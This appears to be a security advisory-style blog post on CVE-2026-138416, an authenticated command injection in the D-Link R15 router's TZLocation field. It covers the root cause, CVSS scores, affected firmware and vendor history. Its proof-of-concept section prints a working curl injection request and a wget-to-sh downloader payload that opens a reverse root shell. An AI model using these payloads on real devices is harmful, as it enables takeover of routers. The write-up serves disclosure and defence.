Introduction
A time zone configuration field on a consumer router rarely feels like an attack surface, yet on the D-Link R15 Eagle Pro AI AX1500 that single value reaches a root shell. CVE-2026-138416 is a post-authentication OS command injection in the DHMAPI interface of firmware 1.22.01, where the TZLocation parameter is concatenated unquoted into a shell command run by the root-privileged httpd binary.
The D-Link R15 is an Eagle Pro AI AX1500 Wi-Fi router built on the MT7621 (MIPS big-endian) platform, aimed at consumer and small office deployments. D-Link is a long-established networking brand listed on the Taiwan Stock Exchange, so flaws in its consumer gear can reach a broad installed base. This post covers the root cause, the public proof of concept, and the documented response options, while keeping the authentication prerequisite explicit.
Technical Information
The vulnerable logic lives in the SetDeviceSettings handler inside the root-privileged /bin/httpd binary, reached through the DHMAPI SOAP-over-HTTPS interface at the /DHMAPI/ endpoint. The component is DHMAPI and the vulnerable function is save_CSID_SetDeviceSettings. The CVE carries both CWE-74 (Injection) and CWE-77 (Command Injection).
Root cause. The handler copies the user-controlled <TZLocation> XML field into a configuration structure. The field is capped at 32 bytes, but it is not sanitized. The backend save_CSID_SetDeviceSettings function then substitutes that value, unquoted, into a shell command built around the fota utility:
(fota -T <TZLocation>; fota -I; fota -fQ) &
Because the %s slot holding TZLocation is unquoted, any $( ) command substitution placed inside the field gets evaluated by /bin/sh -c. The execution path runs through exec_cmd, which formats the string with vsnprintf, then passes it to pox_system and finally system(), reaching a shell. Since httpd runs as root, the injected command runs with uid=0(root).
This is an interpretation flaw, not a memory corruption bug. The 32-byte length cap limits how long the payload can be, but it does nothing to stop the shell from interpreting metacharacters within that length. Limiting the field does not remove the dangerous shell evaluation.
Authentication is required, not bypassed. The SetDeviceSettings dispatch entry at 0x4ee310 has its authentication flag byte at 0x4ee314 set to 0x01000000, so a valid management session is required to reach the vulnerable operation. The researcher describes triggering the bug on real hardware after logging in with valid administrator credentials. The CVSS 3.1 vector uses PR:L (low privileges required), but the technical report does not demonstrate that an unauthenticated user or an ordinary nonadministrator account can reach the code path. The supported operational description is therefore authenticated management interface command injection.
Attack flow.
- The attacker authenticates to the R15 management interface with valid administrator credentials, establishing a session.
- The attacker sends an HTTP POST to
/DHMAPI/with theAPI-Action: SetDeviceSettingsheader and an XML body. - The
<TZLocation>element carries a command substitution payload such as$(id>/tmp/www3/m_id.txt). - The handler stores the value and
save_CSID_SetDeviceSettingsconcatenates it into the unquotedfotacommand. /bin/sh -cevaluates the substitution and the injected command runs as root.
Severity context. The CVE record lists a CVSS 3.1 and 3.0 base score of 9.9 (Critical), with a network vector, low attack complexity, privileges required, no user interaction, changed scope and high confidentiality, integrity and availability impacts. The record also lists a CVSS 4.0 base of 9.4 (Critical), while the NVD-displayed CNA CVSS 4.0 assessment is 8.6 (High) with an E:P (proof of concept) exploit maturity metric. NVD does not provide its own NIST assessment. The legacy CVSS 2.0 vector is 9.0 and specifies single authentication. Cite these scores with their versions rather than merging them.
Proof of Concept
A complete, public proof of concept exists in the GitHub repository nenghun/Hacker, in the directory D-Link R15 Eagle Pro AI AX1500 TZLocation Command Injection. The disclosure documents a post-authentication OS command injection in the DHMAPI SOAP-over-HTTPS interface of the R15 running firmware 1.22.01 (R15A1_FW122B01.bin).
The injection writes command output into the web root, then retrieves it over HTTP:
curl -sk -X POST "https://192.168.0.1/DHMAPI/" \ -H "API-Action: SetDeviceSettings" -H "Content-Type: text/xml" \ -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/"><DeviceName>R15</DeviceName><AdminPassword></AdminPassword><ChangePassword>false</ChangePassword><TZLocation>$(id>/tmp/www3/m_id.txt)</TZLocation></SetDeviceSettings></soap:Body></soap:Envelope>' # Returns: <SetDeviceSettingsResult>OK</SetDeviceSettingsResult>
Retrieving the output file confirms execution as root:
curl -sk "https://192.168.0.1/m_id.txt" # uid=0(root) gid=0(root)
Reverse shell. Because there is no direct command echo and the field is limited to 32 bytes, the report bypasses the length limit with a two-stage downloader payload, $(wget -qO- 192.168.0.2/x|sh) at 29 characters, which fetches and runs a telnet/named-pipe reverse-shell script. This delivers an interactive root shell on an nc -lvp 4444 listener, confirmed with uid=0(root) and a BusyBox/MIPS uname -a.
Validation scaffold. The PoC was validated under FirmAE full-system emulation (MIPS big-endian, device IP 192.168.0.1). The factory-unconfigured emulated state prevents a real login, so the authors patched two auth functions (sub_4240B8 at 0x4240b8 and sub_423758 at 0x423758 set to li v0,1; jr ra; nop) and cleared the dispatch auth flag via gdbserver/gdb-multiarch, purely as a test scaffold. The injection syntax using $(cmd) was verified in emulation, with backticks expected to also work. On real hardware the bug triggers after a legitimate admin login. This establishes public, emulation-validated PoC availability rather than independent confirmation on physical hardware.
Affected Systems and Versions
- Product: D-Link R15 (Eagle Pro AI AX1500), MT7621 hardware platform.
- Affected firmware: 1.22.01 (distributed as
R15A1_FW122B01.bin). - Vulnerable component: DHMAPI handler in
/bin/httpd, functionsave_CSID_SetDeviceSettings, parameterTZLocation.
The CVE record lists 1.22.01 as affected, with other versions having unknown default status. The official R15 release notes list 1.22.01, dated October 17, 2025, but that is the affected version and not a fix. D-Link advisory SAP10473 addresses a different CVE (CVE-2025-60854), a different input parameter, and firmware 1.20.01 or earlier, so it is not evidence of a correction for the TZLocation flaw.
Vendor Security History
D-Link has a documented record of both recurring R15 issues and remediation activity. In 2022, D-Link published an R15/M15 advisory for an open DNS resolver issue affecting firmware v1.06.07 and earlier in access point mode, releasing v1.06.11 HotFix Beta. For CVE-2025-60854, D-Link documented an authenticated command injection in R15 httpd, marked it resolved, and stated patches were released within 90 days of the report.
On a governance level, the FTC announced on July 2, 2019 that D-Link Systems agreed to implement a comprehensive software security program to settle litigation over alleged inadequate security in its routers and cameras. The settlement required security planning, threat modeling, pre-release vulnerability testing, ongoing monitoring, automatic firmware updates, acceptance of researcher reports, and independent assessments every two years for 10 years. These prior fixes and obligations do not establish a specific correction for CVE-2026-138416, which involves a different parameter and firmware version.
References
- NVD: CVE-2026-138416
- CVE Record: CVE-2026-138416
- VulDB CVE page
- VulDB entry 445240
- VulDB entry 445240 CTI
- VulDB submission 1080478
- Rapid7 Vulnerability Database: CVE-2026-138416
- GitHub disclosure (directory)
- GitHub disclosure (raw report)
- D-Link advisory SAP10473 (CVE-2025-60854)
- D-Link R15/M15 Open DNS Resolver advisory (2022)
- FTC: D-Link Settlement (2019)
- R15 Changes (release notes)
- FIRST CVSS v4.0 Specification
- D-Link Brand Story



